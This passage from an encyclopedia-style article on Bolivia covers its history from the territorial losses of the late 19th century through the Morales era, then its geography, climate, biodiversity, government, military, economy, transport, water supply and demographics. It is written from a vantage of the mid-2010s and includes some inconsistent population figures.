Thus, since independence, Bolivia has lost over half of its territory to neighboring countries. It also lost the state of Acre, in the Acre War, important because this region was known for its production of rubber. Peasants and the Bolivian army fought briefly but after a few victories, and facing the prospect of a total war against Brazil, it was forced to sign the Treaty of Petrópolis in 1903, in which Bolivia lost this rich territory. Popular myth has it that Bolivian president Mariano Melgarejo (1864–71) traded the land for what he called "a magnificent white horse" and Acre was subsequently flooded by Brazilians, which ultimately led to confrontation and fear of war with Brazil. In the late 19th century, an increase in the world price of silver brought Bolivia relative prosperity and political stability.

Early 20th century

Main article: History of Bolivia (1920–64)

Bolivia's territorial losses (1867–1938)

During the early 20th century, tin replaced silver as the country's most important source of wealth. A succession of governments controlled by the economic and social elite followed laissez-faire capitalist policies through the first thirty years of the 20th century.

Living conditions of the native people, who constitute most of the population, remained deplorable. With work opportunities limited to primitive conditions in the mines and in large estates having nearly feudal status, they had no access to education, economic opportunity, and political participation. Bolivia's defeat by Paraguay in the Chaco War (1932–35), where Bolivia lost a great part of the Gran Chaco region in dispute, marked a turning-point.

The Revolutionary Nationalist Movement (MNR), the most historic political party, emerged as a broad-based party. Denied its victory in the 1951 presidential elections, the MNR led a successful revolution in 1952. Under President Víctor Paz Estenssoro, the MNR, having strong popular pressure, introduced universal suffrage into his political platform and carried out a sweeping land-reform promoting rural education and nationalization of the country's largest tin mines.

Late 20th century

Main article: History of Bolivia (1964–82)

12 years of tumultuous rule left the MNR divided. In 1964, a military junta overthrew President Estenssoro at the outset of his third term. The 1969 death of President René Barrientos Ortuño, a former member of the junta who was elected president in 1966, led to a succession of weak governments. Alarmed by the rising Popular Assembly and the increase in the popularity of President Juan José Torres, the military, the MNR, and others installed Colonel (later General) Hugo Banzer Suárez as president in 1971. He returned to the presidency in 1997 through 2001.

The United States' Central Intelligence Agency (CIA) had been active in providing finances and training to the Bolivian military dictatorship in the 1960s. The revolutionary leader Che Guevara was killed by a team of CIA officers and members of the Bolivian Army on 9 October 1967, in Bolivia. Félix Rodríguez was a CIA officer on the team with the Bolivian Army that captured and shot Guevara. Rodriguez said that after he received a Bolivian presidential execution order, he told "the soldier who pulled the trigger to aim carefully, to remain consistent with the Bolivian government's story that Che had been killed in action during a clash with the Bolivian army." Rodriguez said the US government had wanted Che in Panama, and "I could have tried to falsify the command to the troops, and got Che to Panama as the US government said they had wanted", but that he had chosen to "let history run its course" as desired by Bolivia.

Elections in 1979 and 1981 were inconclusive and marked by fraud. There were coups d'état, counter-coups, and caretaker governments. In 1980, General Luis García Meza Tejada carried out a ruthless and violent coup d'état that did not have popular support. He pacified the people by promising to remain in power only for one year. At the end of the year, he staged a televised rally to claim popular support and announced, "Bueno, me quedo", or, "All right; I'll stay [in office]." After a military rebellion forced out Meza in 1981, three other military governments in 14 months struggled with Bolivia's growing problems. Unrest forced the military to convoke the Congress, elected in 1980, and allow it to choose a new chief executive. In October 1982, Hernán Siles Zuazo again became president, 22 years after the end of his first term of office (1956–60).

Democratic transition

Main article: History of Bolivia (1982–present)

Former President, Gonzalo Sánchez de Lozada

Gonzalo Sánchez de Lozada pursued an aggressive economic and social reform agenda. The most dramatic reform was the "capitalization" program, under which investors, typically foreign, acquired 50% ownership and management control of public enterprises in return for agreed upon capital investments.

In 1993, Gonzalo Sánchez de Lozada ran for president in alliance with the Tupac Katari Revolutionary Liberation Movement, which inspired indigenous-sensitive and multicultural-aware policies. In 1993, Sanchez de Lozada introduced the Plan de Todos, which led to the decentralization of government, introduction of intercultural bilingual education, implementation of agrarian legislation, and privatization of state owned businesses. The plan explicitly stated that Bolivian citizens would own a minimum of 51% of enterprises; under the plan, most state-owned enterprises (SOEs), though not mines, were sold. This privatization of SOEs led to a neoliberal structuring.

The Law of Popular Participation gave municipalities the responsibility of maintaining various infrastructures (and offering services): health, education, systems of irrigation, which stripped the responsibility away from the state.

The reforms and economic restructuring were strongly opposed by certain segments of society, which instigated frequent and sometimes violent protests, particularly in La Paz and the Chapare coca-growing region, from 1994 through 1996. During this time, the umbrella labor-organization of Bolivia, the Central Obrera Boliviana (COB), became increasingly unable to effectively challenge government policy. A teachers' strike in 1995 was defeated because the COB could not marshal the support of many of its members, including construction and factory workers.

In the 1997 elections, General Hugo Banzer, leader of the Nationalist Democratic Action party (ADN) and former dictator (1971–78), won 22% of the vote, while the MNR candidate won 18%. At the outset of his government, President Banzer launched a policy of using special police-units to eradicate physically the illegal coca of the Chapare region. The MIR of Jaime Paz Zamora remained a coalition-partner throughout the Banzer government, supporting this policy (called the Dignity Plan). The Banzer government basically continued the free-market and privatization-policies of its predecessor. The relatively robust economic growth of the mid-1990s continued until about the third year of its term in office. After that, regional, global and domestic factors contributed to a decline in economic growth. Financial crises in Argentina and Brazil, lower world prices for export commodities, and reduced employment in the coca sector depressed the Bolivian economy. The public also perceived a significant amount of public sector corruption. These factors contributed to increasing social protests during the second half of Banzer's term.

Between January 1999 and April 2000, large-scale protests erupted in Cochabamba, Bolivia's third largest city, in response to the privatisation of water resources by foreign companies and a subsequent doubling of water prices. On 6 August 2001, Banzer resigned from office after being diagnosed with cancer. He died less than a year later. Vice President Jorge Fernando Quiroga Ramírez completed the final year of his term.

Current President, Evo Morales

In the June 2002 national elections, former President Gonzalo Sánchez de Lozada (MNR) placed first with 22.5% of the vote, followed by coca-advocate and native peasant-leader Evo Morales (Movement Toward Socialism, MAS) with 20.9%. A July agreement between the MNR and the fourth-place MIR, which had again been led in the election by former President Jaime Paz Zamora, virtually ensured the election of Sánchez de Lozada in the congressional run-off, and on 6 August he was sworn in for the second time. The MNR platform featured three overarching objectives: economic reactivation (and job creation), anti-corruption, and social inclusion.

In 2003 the Bolivian gas conflict broke out. On 12 October 2003 the government imposed martial law in El Alto after 16 people were shot by the police and several dozen wounded in violent clashes. Faced with the option of resigning or more bloodshed, Sanchez de Lozada offered his resignation in a letter to an emergency session of Congress. After his resignation was accepted and his vice president, Carlos Mesa, invested, he left on a commercially scheduled flight for the United States.

File:Evomorales 20050122 posesion01.jpg

Evo Morales' inauguration as President.

The country's internal situation became unfavorable for such political action on the international stage. After a resurgence of gas protests in 2005, Carlos Mesa attempted to resign in January 2005, but his offer was refused by Congress. On 22 March 2005, after weeks of new street protests from organizations accusing Mesa of bowing to U.S. corporate interests, Mesa again offered his resignation to Congress, which was accepted on 10 June. The chief justice of the Supreme Court, Eduardo Rodríguez, was sworn as interim president to succeed the outgoing Carlos Mesa.

The indigenous population of the Andean region was not able to benefit from government reforms.

Evo Morales won the 2005 presidential election with 53.7% of the votes, an absolute majority, unusual in Bolivian elections. On 1 May 2006, Morales caused controversy when he announced his intent to re-nationalize Bolivian hydrocarbon assets. Fulfilling a campaign promise, on 6 August 2006, Morales opened the Bolivian Constituent Assembly to begin writing a new constitution aimed at giving more power to the indigenous majority.

In August 2007, more conflicts arose in Sucre, as the city demanded the discussion of the seat of government inside the assembly, hoping the executive and legislative branches could return to the city, but the assembly and the government said this demand was overwhelmingly impractical and politically undesirable. In May 2008, Evo Morales was a signatory to the UNASUR Constitutive Treaty of the Union of South American Nations. In the 2009 national general elections, Evo Morales was re-elected with 64.22% of the vote. His party, Movement for Socialism, also won a two-thirds majority in both houses of the National Congress.

Geography

Main article: Geography of Bolivia

Satellite image of Bolivia

Salar de Uyuni

Cordillera Central

Nevado Sajama

Bolivia is located in the central zone of South America, between 57°26'–69°38'W and 9°38'–22°53'S. With an area of 1,098,581 square kilometres (424,164 sq mi), Bolivia is the world's 28th-largest country, and the fifth largest country in South America, extending from the Central Andes through part of the Gran Chaco as far as the Amazon. The geographic center of the country is the so-called Puerto Estrella ("Star Port") on the Río Grande, in Ñuflo de Chávez Province, Santa Cruz Department.

The geography of the country exhibits a great variety of terrain and climates. Bolivia has a high level of biodiversity, considered one of the greatest in the world, as well as several ecoregions with ecological sub-units such as the Altiplano, tropical rainforests (including Amazon rainforest), dry valleys, and the Chiquitania, which is a tropical savanna. These areas feature enormous variations in altitude, from an elevation of 6,542 metres (21,463 ft) above sea level in Nevado Sajama to nearly 70 metres (230 ft) along the Paraguay River. Although a country of great geographic diversity, Bolivia has remained a landlocked country since the War of the Pacific.

Bolivia can be divided into three physiographic regions:

• The Andean region in the southwest spans 28% of the national territory, extending over 307,603 square kilometres (118,766 sq mi). This area is located above 3,000 metres (9,800 ft) altitude and is located between two big Andean chains, the Cordillera Occidental ("Western Range") and the Cordillera Central ("Central Range"), with some of the highest spots in the Americas such as the Nevado Sajama, with an altitude of 6,542 metres (21,463 ft), and the Illimani, at 6,462 metres (21,201 ft). Also located in the Cordillera Central is Lake Titicaca, the highest commercially navigable lake in the world and the largest lake in South America; the lake is shared with Peru. Also in this region are the Altiplano and the Salar de Uyuni, which is the largest salt flat in the world and an important source of lithium.
• The Sub-Andean region in the center and south of the country is an intermediate region between the Altiplano and the eastern llanos (plain); this region comprises 13% of the territory of Bolivia, extending over 142,815 km² (55,141 sq mi), and encompassing the Bolivian valleys and the Yungas region. It is distinguished by its farming activities and its temperate climate.
• The Llanos region in the northeast comprises 59% of the territory, with 648,163 km² (250,257 sq mi). It is located to the north of the Cordillera Central and extends from the Andean foothills to the Paraguay River. It is a region of flat land and small plateaus, all covered by extensive rain forests containing enormous biodiversity. The region is below 400 metres (1,300 ft) above sea level.

Bolivia has three drainage basins:

• The first is the Amazon Basin, also called the North Basin (724,000 km² (280,000 sq mi)/66% of the territory). The rivers of this basin generally have big meanders which form lakes such as Murillo Lake in Pando Department. The main Bolivian tributary to the Amazon basin is the Mamoré River, with a length of 2,000 km (1,200 mi) running north to the confluence with the Beni River, 1,113 km (692 mi) in length and the second most important river of the country. The Beni River, along with the Madeira River, forms the main tributary of the Amazon River. From east to west, the basin is formed by other important rivers, such as the Madre de Dios River, the Orthon River, the Abuna River, the Yata River, and the Guaporé River. The most important lakes are Rogaguado Lake, Rogagua Lake, and Jara Lake.
• The second is the Rio de la Plata Basin, also called the South Basin (229,500 km² (88,600 sq mi)/21% of the territory). The tributaries in this basin are in general less abundant than the ones forming the Amazon Basin. The Rio de la Plata Basin is mainly formed by the Paraguay River, Pilcomayo River, and Bermejo River. The most important lakes are Uberaba Lake and Mandioré Lake, both located in the Bolivian marshland.
• The third basin is the Central Basin, which is an endorheic basin (145,081 square kilometres (56,016 sq mi)/13% of the territory). The Altiplano has large numbers of lakes and rivers that do not run into any ocean because they are enclosed by the Andean mountains. The most important river is the Desaguadero River, with a length of 436 km (271 mi), the longest river of the Altiplano; it begins in Lake Titicaca and then runs in a southeast direction to Poopó Lake. The basin is then formed by Lake Titicaca, Lake Poopó, the Desaguadero River, and great salt flats, including the Salar de Uyuni and Coipasa Lake.

Sustaining water supplies

Deforestation in upper river basins has caused environmental problems, including soil erosion and declining water quality. An innovative project to try and remedy this situation involves landholders in upstream areas being paid by downstream water users to conserve forests. The landholders receive $20 to conserve the trees, avoid polluting livestock practices, and enhance the biodiversity and forest carbon on their land. They receive $30, which purchases a beehive, to compensate for conservation for two hectares of water-sustaining forest for five years. Honey revenue per hectare of forest is $5 per year, so within five years, the landholder has sold $50 of honey. The project is being conducted by Fundación Natura Bolivia and Rare Conservation, with support from the Climate & Development Knowledge Network.

Geology

The geology of Bolivia comprises a variety of different lithologies as well as tectonic and sedimentary environments. On a synoptic scale, geological units coincide with topographical units. Most elementally, the country is divided into a mountainous western area affected by the subduction processes in the Pacific and an eastern lowlands of stable platforms and shields.

Mean annual precipitation in Bolivia

Climate

Bolivia map of Köppen climate classification.

Los Yungas, La Paz.

The climate of Bolivia varies drastically from one eco-region to the other, from the tropics in the eastern llanos to a polar climate in the western Andes. The summers are warm, humid in the east and dry in the west, with rains that often modify temperatures, humidity, winds, atmospheric pressure and evaporation, yielding very different climates in different areas. When the climatological phenomenon known as El Niño takes place, it causes great alterations in the weather. Winters are very cold in the west, and it snows in the mountain ranges, while in the western regions, windy days are more common. The autumn is dry in the non-tropical regions.

• Llanos. A humid tropical climate with an average temperature of 30 °C (86 °F). The wind coming from the Amazon rainforest causes significant rainfall. In May, there is low precipitation because of dry winds, and most days have clear skies. Even so, winds from the south, called surazos, can bring cooler temperatures lasting several days.
• Altiplano. Desert-Polar climates, with strong and cold winds. The average temperature ranges from 15 to 20 °C. At night, temperatures descend drastically to slightly above 0 °C, while during the day, the weather is dry and solar radiation is high. Ground frosts occur every month, and snow is frequent.
• Valleys and Yungas. Temperate climate. The humid northeastern winds are pushed to the mountains, making this region very humid and rainy. Temperatures are cooler at higher elevations. Snow occurs at altitudes of 2,000 metres (6,600 ft).
• Chaco. Subtropical semi-arid climate. Rainy and humid in January and the rest of the year, with warm days and cool nights.

Biodiversity

Amazon river basin in Bolivia

Bolivia, with an enormous variety of organisms and ecosystems, is part of the "Like-Minded Megadiverse Countries".

Bolivia's variable altitudes, ranging from 90–6,542 metres (295–21,463 ft) above sea level, allow for a vast biologic diversity. The territory of Bolivia comprises four types of biomes, 32 ecological regions, and 199 ecosystems. Within this geographic area there are several natural parks and reserves such as the Noel Kempff Mercado National Park, the Madidi National Park, the Tunari National Park, the Eduardo Avaroa Andean Fauna National Reserve, and the Kaa-Iya del Gran Chaco National Park and Integrated Management Natural Area, among others.

Bolivia boasts over 17,000 species of seed plants, including over 1,200 species of fern, 1,500 species of marchantiophyta and moss, and at least 800 species of fungus. In addition, there are more than 3,000 species of medicinal plants. Bolivia is considered the place of origin for such species as peppers and chili peppers, peanuts, the common beans, yucca, and several species of palm. Bolivia also naturally produces over 4,000 kinds of potatoes.

Bolivia has more than 2,900 animal species, including 398 mammals, over 1,400 birds (about 14% of birds known in the world, being the sixth most diverse country in terms of bird species), 204 amphibians, 277 reptiles, and 635 fish, all fresh water fish as Bolivia is a landlocked country. In addition, there are more than 3,000 types of butterfly, and more than 60 domestic animals.

Bolivia has gained global attention for its 'Law of the Rights of Mother Earth', which accords nature the same rights as humans.

Politics and government

Main articles: Politics of Bolivia and Foreign relations of Bolivia

The government building of the National Congress of Bolivia at the Plaza Murillo in central La Paz

Bolivia has been governed by democratically elected governments since 1982, when a long string of military coups came to an end. Presidents Hernán Siles Zuazo (1982–85) and Víctor Paz Estenssoro (1985–89) began a tradition of ceding power peacefully which has continued, although two presidents have stepped down in the face of popular protests: Gonzalo Sánchez de Lozada in 2003 and Carlos Mesa in 2005.

Bolivia's multiparty democracy has seen a wide variety of parties in the presidency and parliament, although the Revolutionary Nationalist Movement, Nationalist Democratic Action, and the Revolutionary Left Movement predominated from 1985 to 2005. The current president is Evo Morales, the first indigenous Bolivian to serve as head of state. Morales' Movement for Socialism – Political Instrument for the Sovereignty of the Peoples party was the first to win an outright presidential majority in four decades, doing so both in 2005 and 2009.

The constitution, drafted in 2006–07 and approved in 2009, provides for balanced executive, legislative, judicial, and electoral powers, as well as several levels of autonomy. The traditionally strong executive branch tends to overshadow the Congress, whose role is generally limited to debating and approving legislation initiated by the executive. The judiciary, consisting of the Supreme Court and departmental and lower courts, has long been riddled with corruption and inefficiency. Through revisions to the constitution in 1994, and subsequent laws, the government has initiated potentially far-reaching reforms in the judicial system as well as increasing decentralizing powers to departments, municipalities, and indigenous territories.

The executive branch is headed by a President and Vice President, and consists of a variable number (currently, 20) of government ministries. The president is elected to a five-year term by popular vote, and governs from the Presidential Palace (popularly called the Burnt Palace, Palacio Quemado) in La Paz. In the case that no candidate receives an absolute majority of the popular vote or more than 40% of the vote with an advantage of more than 10% over the second-place finisher, a run-off is to be held among the two candidates most voted.

The Asamblea Legislativa Plurinacional (Plurinational Legislative Assembly or National Congress) has two chambers. The Cámara de Diputados (Chamber of Deputies) has 130 members elected to five-year terms, seventy from single-member districts (circunscripciones), sixty by proportional representation, and seven by the minority indigenous peoples of seven departments. The Cámara de Senadores (Chamber of Senators) has 36 members (four per department). Members of the Assembly are elected to five-year terms. The body has its headquarters on the Plaza Murillo in La Paz, but also holds honorary sessions elsewhere in Bolivia. The Vice President serves as titular head of the combined Assembly.

The Supreme Court Building in the capital of Bolivia, Sucre

The judiciary consists of the Supreme Court, the Constitutional Tribunal, the Judiciary Council, Agrarian and Environmental Tribunal, and District (departmental) and lower courts. In October 2011, Bolivia held its first judicial elections to choose members of the national courts by popular vote, a reform brought about by Evo Morales.

The Plurinational Electoral Organ is an independent branch of government which replaced the National Electoral Court in 2010. The branch consists of the Supreme Electoral Tribunal, the nine Departmental Electoral Tribunals, Electoral Judges, the anonymously selected Juries at Election Tables, and Electoral Notaries. Wilfredo Ovando presides over the seven-member Supreme Electoral Tribunal. Its operations are mandated by the Constitution and regulated by the Electoral Regime Law (Law 026, passed 2010). The Organ's first elections were the country's first judicial election in October 2011, and five municipal special elections held in 2011.

Capital

Bolivia has its constitutionally recognized capital in Sucre, while La Paz is the seat of government. La Plata (now Sucre) was proclaimed provisional capital of the newly independent Alto Perú (later, Bolivia) on 1 July 1826. On 12 July 1839, President José Miguel de Velasco proclaimed a law naming the city as the capital of Bolivia, and renaming it in honor of the revolutionary leader Antonio José de Sucre. The Bolivian seat of government moved to La Paz at the start of the twentieth century, as a consequence of Sucre's relative remoteness from economic activity after the decline of Potosí and its silver industry and of the Liberal Party in the War of 1899.

The 2009 Constitution assigns the role of national capital to Sucre, not referring to La Paz in the text. In addition to being the constitutional capital, the Supreme Court of Bolivia is located in Sucre, making it the judicial capital. Nonetheless, the Palacio Quemado (the Presidential Palace and seat of Bolivian executive power) is located in La Paz, as are the National Congress and Plurinational Electoral Organ. La Paz thus continues to be the seat of government.

Law and crime

There are 53 prisons in Bolivia, which incarcerate around 8,700 people as of 2010. The prisons are managed by the Penitentiary Regime Directorate (Spanish: Dirección de Régimen Penintenciario). There are 17 prisons in departmental capital cities and 36 provincial prisons.

Foreign relations

Despite losing its maritime coast, the so-called Litoral Department, after the War of the Pacific, Bolivia has historically maintained, as a state policy, a maritime claim to that part of Chile; the claim asks for sovereign access to the Pacific Ocean and its maritime space. The issue has also been presented before the Organization of American States; in 1979, the OAS passed the 426 Resolution, which declared that the Bolivian problem is a hemispheric problem. On 4 April 1884, a truce was signed with Chile, whereby Chile gave facilities of access to Bolivian products through Antofagasta, and freed the payment of export rights in the port of Arica. In October 1904, the Treaty of Peace and Friendship was signed, and Chile agreed to build a railway between Arica and La Paz, to improve access of Bolivian products to the ports.

The Special Economical Zone for Bolivia in Ilo (ZEEBI) is a special economic area of 5 kilometres (3.1 miles) of maritime coast, and a total extension of 358 hectares (880 acres), called Mar Bolivia ("Sea Bolivia"), where Bolivia may maintain a free port near Ilo, Peru under its administration and operation for a period of 99 years starting in 1992; once that time has passed, all the construction and territory revert to the Peruvian government. Since 1964, Bolivia has had its own port facilities in the Bolivian Free Port in Rosario, Argentina. This port is located on the Paraná River, which is directly connected to the Atlantic Ocean.

Military

The Bolivian military comprises three branches: Ejército (Army), Naval (Navy) and Fuerza Aérea (Air Force). The legal age for voluntary admissions is 18; however, when the numbers are small the government recruits anyone as young as 14. The tour of duty is generally 12 months. The Bolivian government annually spends $130 million on defense.

The Bolivian army has around 31,500 men. There are six military regions (regiones militares—RMs) in the army. The army is organized into ten divisions.

Though it is landlocked Bolivia keeps a navy. The Bolivian Naval Force (Fuerza Naval Boliviana in Spanish) is a naval force about 5,000 strong in 2008.

The Bolivian Air Force ('Fuerza Aérea Boliviana' or 'FAB') has nine air bases, located at La Paz, Cochabamba, Santa Cruz, Puerto Suárez, Tarija, Villamontes, Cobija, Riberalta, and Roboré.

Administrative divisions

Main articles: Departments of Bolivia, Provinces of Bolivia, Municipalities of Bolivia, Cantons of Bolivia, and Native Community Lands

Bolivia has nine departments—Pando, La Paz, Beni, Oruro, Cochabamba, Santa Cruz, Potosí, Chuquisaca, Tarija.

According to what is established by the Bolivian Political Constitution, the Law of Autonomies and Decentralization regulates de procedure for the elaboration of Statutes of Autonomy, the transfer and distribution of direct competences between the central government and the autonomous entities.

There are four levels of decentralization: Departmental government, constituted by the Departmental Assembly, with rights over the legislation of the department. The governor is chosen by universal suffrage. Municipal government, constituted by a Municipal Council, with rights over the legislation of the municipality. The mayor is chosen by universal suffrage. Regional government, formed by several provinces or municipalities of geographical continuity within a department. It is constituted by a Regional Assembly. Original indigenous government, self-governance of original indigenous people on the ancient territories where they live.

	No.	Department	Capital
Territorial division of Bolivia
	1	Pando	Cobija
	2	La Paz	La Paz
	3	Beni	Trinidad
	4	Oruro	Oruro
	5	Cochabamba	Cochabamba
	6	Santa Cruz	Santa Cruz de la Sierra
	7	Potosí	Potosí
	8	Chuquisaca	Sucre
	9	Tarija	Tarija

Economy

Main article: Economy of Bolivia

Graphical depiction of Bolivia's product exports in 28 color-coded categories

Bolivia's estimated 2012 gross domestic product (GDP) totaled $27.43 billion at official exchange rate and $56.14 billion at purchasing power parity. Economic growth was estimated to be at about 5.2%, and inflation was estimated at about 6.9%. Bolivia was rated "Repressed" by the Heritage Foundation's 2010 Index of Economic Freedom. Despite a series of mostly political setbacks, between 2006 and 2009 the Morales administration has spurred growth higher than at any point in the preceding 30 years. The growth was accompanied by a moderate decrease in inequality. A surplus budget of 1.7% (GDP) was obtained by 2012, the government runs surpluses since Morales administration reflecting a prudent economic management.

A major blow to the Bolivian economy came with a drastic fall in the price of tin during the early 1980s, which impacted one of Bolivia's main sources of income and one of its major mining industries. Since 1985, the government of Bolivia has implemented a far-reaching program of macroeconomic stabilization and structural reform aimed at maintaining price stability, creating conditions for sustained growth, and alleviating scarcity. A major reform of the customs service has significantly improved transparency in this area. Parallel legislative reforms have locked into place market-liberal policies, especially in the hydrocarbon and telecommunication sectors, that have encouraged private investment. Foreign investors are accorded national treatment.

Young miners at work in Potosí

In April 2000, Hugo Banzer, the former President of Bolivia, signed a contract with Aguas del Tunari, a private consortium, to operate and improve the water supply in Bolivia's third-largest city, Cochabamba. Shortly thereafter, the company tripled the water rates in that city, an action which resulted in protests and rioting among those who could no longer afford clean water. Amidst Bolivia's nationwide economic collapse and growing national unrest over the state of the economy, the Bolivian government was forced to withdraw the water contract.

Bolivia has the second largest natural gas reserves in South America. The government has a long-term sales agreement to sell natural gas to Brazil through 2019. The government held a binding referendum in 2005 on the Hydrocarbon Law.

The US Geological Service estimates that Bolivia has 5.4 million cubic tonnes of lithium, which represent 50%–70% of world reserves. However, to mine for it would involve disturbing the country's salt flats (called Salar de Uyuni), an important natural feature which boosts tourism in the region. The government does not want to destroy this unique natural landscape to meet the rising world demand for lithium. On the other hand, sustainable extraction of lithium is attempted by the government. This project is carried out by the public company "Recursos Evaporíticos" subsidiary of COMIBOL.

Once Bolivia's government depended heavily on foreign assistance to finance development projects and to pay the public staff. At the end of 2002, the government owed $4.5 billion to its foreign creditors, with $1.6 billion of this amount owed to other governments and most of the balance owed to multilateral development banks. Most payments to other governments have been rescheduled on several occasions since 1987 through the Paris Club mechanism. External creditors have been willing to do this because the Bolivian government has generally achieved the monetary and fiscal targets set by IMF programs since 1987, though economic crises have undercut Bolivia's normally good record. However, by 2013 the foreign assistance is just a fraction of the government budget thanks to tax collection mainly from the profitable exports to Brazil and Argentina of natural gas.

The income from tourism has become increasingly important. Bolivia's tourist industry has grown gradually since about 1990.

Foreign-exchange reserves

The amount in reserve currencies and gold held by Bolivia's Central Bank advanced from 1.085 billion US dollars in 2000, under Hugo Banzer Suarez's government, to 15.282 billion US dollars in 2014 under Evo Morales' government.

Foreign-exchange reserves 2000–2014 (MM US$)

Fuente: Banco Central de Bolivia, Gráfica elaborada por: Wikipedia.

Transport

Air traffic

See also: List of airlines of Bolivia and List of airports in Bolivia

Boliviana de Aviación (BoA) is a state-owned company and the country's largest airline. Two BoA Boeing 737-300s parked at Jorge Wilstermann International Airport.

The General Directorate of Civil Aeronautics (Dirección General de Aeronáutica Civil—DGAC) formerly part of the FAB, administers a civil aeronautics school called the National Institute of Civil Aeronautics (Instituto Nacional de Aeronáutica Civil—INAC), and two commercial air transport services TAM and TAB.

TAM – Transporte Aéreo Militar (the Bolivian Military Airline) is an airline based in La Paz, Bolivia. It is the civilian wing of the 'Fuerza Aérea Boliviana' (the Bolivian Air Force), operating passenger services to remote towns and communities in the North and Northeast of Bolivia. TAM (a.k.a. TAM Group 71) has been a part of the FAB since 1945.

A similar airline serving the Beni Department with small planes is Línea Aérea Amaszonas, using smaller planes than TAM.

Although a civil transport airline, TAB – Transportes Aéreos Bolivianos, was created as a subsidiary company of the FAB in 1977. It is subordinate to the Air Transport Management (Gerencia de Transportes Aéreos) and is headed by an FAB general. TAB, a charter heavy cargo airline, links Bolivia with most countries of the Western Hemisphere; its inventory includes a fleet of Hercules C130 aircraft. TAB is headquartered adjacent to El Alto International Airport. TAB flies to Miami and Houston, with a stop in Panama.

The three largest, and main international airports in Bolivia are El Alto International Airport in La Paz, Viru Viru International Airport in Santa Cruz, and Jorge Wilstermann International Airport in Cochabamba.

Railways

See also: Rail transport in Bolivia

Railways in Bolivia (interactive map)
━━━ Routes with passenger traffic
━━━ Routes in usable state
·········· Unusable or dismantled routes

Bolivia possesses an extensive but aged rail system, all in 1000 mm gauge, consisting of two disconnected networks.

Technology

Bolivia owns a communications satellite which was offshored/outsourced and launched by China named Túpac Katari 1. In 2015, it was announced that electrical power advancements include a planned $300 million nuclear reactor developed by the Russian nuclear company Rosatom.

Water supply and sanitation

Main article: Water supply and sanitation in Bolivia

Bolivias's drinking water and Sanitation coverage has greatly improved since 1990 due to a considerable increase in sectoral investment. However, the country has the continent's lowest coverage levels and services are of low quality. Political and institutional instability have contributed to the weakening of the sector's institutions at the national and local levels.

Two concessions to foreign private companies in two of the three largest cities — Cochabamba and La Paz/El Alto — were prematurely ended in 2000 and 2006 respectively. The country's second largest city, Santa Cruz de la Sierra, relatively successfully manages its own water and sanitation system by way of cooperatives. The government of Evo Morales intends to strengthen citizen participation within the sector. Increasing coverage requires a substantial increase of investment financing.

According to the government the main problems in the sector are low access to sanitation throughout the country; low access to water in rural areas; insufficient and ineffective investments; a low visibility of community service providers; a lack of respect of indigenous customs; "technical and institutional difficulties in the design and implementation of projects"; a lack of capacity to operate and maintain infrastructure; an institutional framework that is "not consistent with the political change in the country"; "ambiguities in the social participation schemes"; a reduction in the quantity and quality of water due to climate change; pollution and a lack of integrated water resources management; and the lack of policies and programs for the reuse of wastewater.

Only 27% of the population has access to improved sanitation, 80 to 88% has access to improved water sources. Coverage in urban areas is bigger than in rural ones.

Demographics

Main article: Demographics of Bolivia

People in La Paz city centre

Festival in Sucre

According to the last two censuses carried out by the Bolivian National Statistics Institute (Instituto Nacional de Estadística, INE), the population increased from 8,274,325 (from which 4,123,850 were men and 4,150,475 were women) in 2001 to 10,027,254 in 2012.

In the last fifty years the Bolivian population has tripled, reaching a population growth rate of 2.25%. The growth of the population in the inter-census periods (1950–1976 and 1976–1992) was approximately 2.05%, while between the last period, 1992–2001, it reached 2.74% annually.

Some 62.43% of Bolivians live in urban areas, while the remaining 37.57% in rural areas. The most part of the population (70%) is concentrated in the departments of La Paz, Santa Cruz and Cochabamba. In the Andean Altiplano region the departments of La Paz and Oruro hold the largest percentage of population, in the valley region the largest percentage is held by the departments of Cochabamba and Chuquisaca, while in the Llanos region by Santa Cruz and Beni. At national level, the population density is 8.49, with variations marked between 0.8 (Pando Department) and 26.2 (Cochabamba Department).

The largest population center is located in the so-called "central axis" and in the Llanos region. Bolivia has a young population. According to the 2011 census, 59% of the population is between 15 and 59 years old, 39% is less than 15 years old. Almost 60% of the population is younger than 25 years of age.

Genetics

According to a genetic study done on Bolivians, average values of Native American, European and African ancestry are 86%, 12.5%, and 1.5%, in individuals from La Paz and 76.8%, 21.4%, and 1.8% in individuals from Chuquisaca; respectively.

Ethnicity

Macheteros

The ethnic composition of Bolivia is diverse. There are approximately three dozen native groups totaling approximately half of the Bolivian population – the largest proportion of indigenous people in Latin America. Exact numbers vary based on the wording of the ethnicity question and the available response choices. For example, the 2001 census did not provide "mestizo" as a response choice, resulting in a much higher proportion of respondents identifying themselves as belonging to one of the available indigenous ethnicity choices. A 2009 estimate put mestizo (mixed white and Amerindian) at 68%, indigenous at 20%, white at 5%, cholo at 2%, black at 1%, other at 1%, while 3% were unspecified; 44% attributed themselves to some indigenous group, predominantly Quechuas or Aymaras.

Indigenous peoples, also called "originarios" ("native" or "original") and less frequently, Amerindians, could be Andean, like the Aymaras and Quechuas (who formed the ancient Inca Empire), who are concentrated in the western departments of La Paz, Potosí, Oruro, Cochabamba and Chuquisaca. There also is an important ethnic population in the east, composed of the Chiquitano, Chane, Guaraní and Moxos, among others, who inhabit the departments of Santa Cruz, Beni, Tarija and Pando.

Mestizos are distributed throughout the entire country and make up 26% of the Bolivian population. Most people assume their mestizo identity while at the same time identifying themselves with one or more indigenous cultures.

Whites comprised about 14% of the population in 2006, and are usually concentrated in the largest cities: La Paz, Santa Cruz de la Sierra and Cochabamba, but as well in some minor cities like Tarija. In the Santa Cruz Department, there are several dozen colonies of German-speaking Mennonites totaling around 40,000 inhabitants (as of 2012).

Afro-Bolivians, descendents of African slaves who arrived in the time of the Spanish Empire, inhabit the department of La Paz, and are located mainly in the provinces of Nor Yungas and Sud Yungas. Slavery was abolished in Bolivia in 1831.

There are also important communities of Japanese (14.000) and Lebanese (12.900).

There are small numbers of European citizens from Germany, France, Italy and Portugal, as well as from other American countries, as Argentina, Brazil, Chile, Colombia, Cuba, Ecuador, the United States, Paraguay, Peru, Mexico and Venezuela, among others. There are important Peruvian colonies in La Paz, El Alto and Santa Cruz de la Sierra.

Indigenous peoples

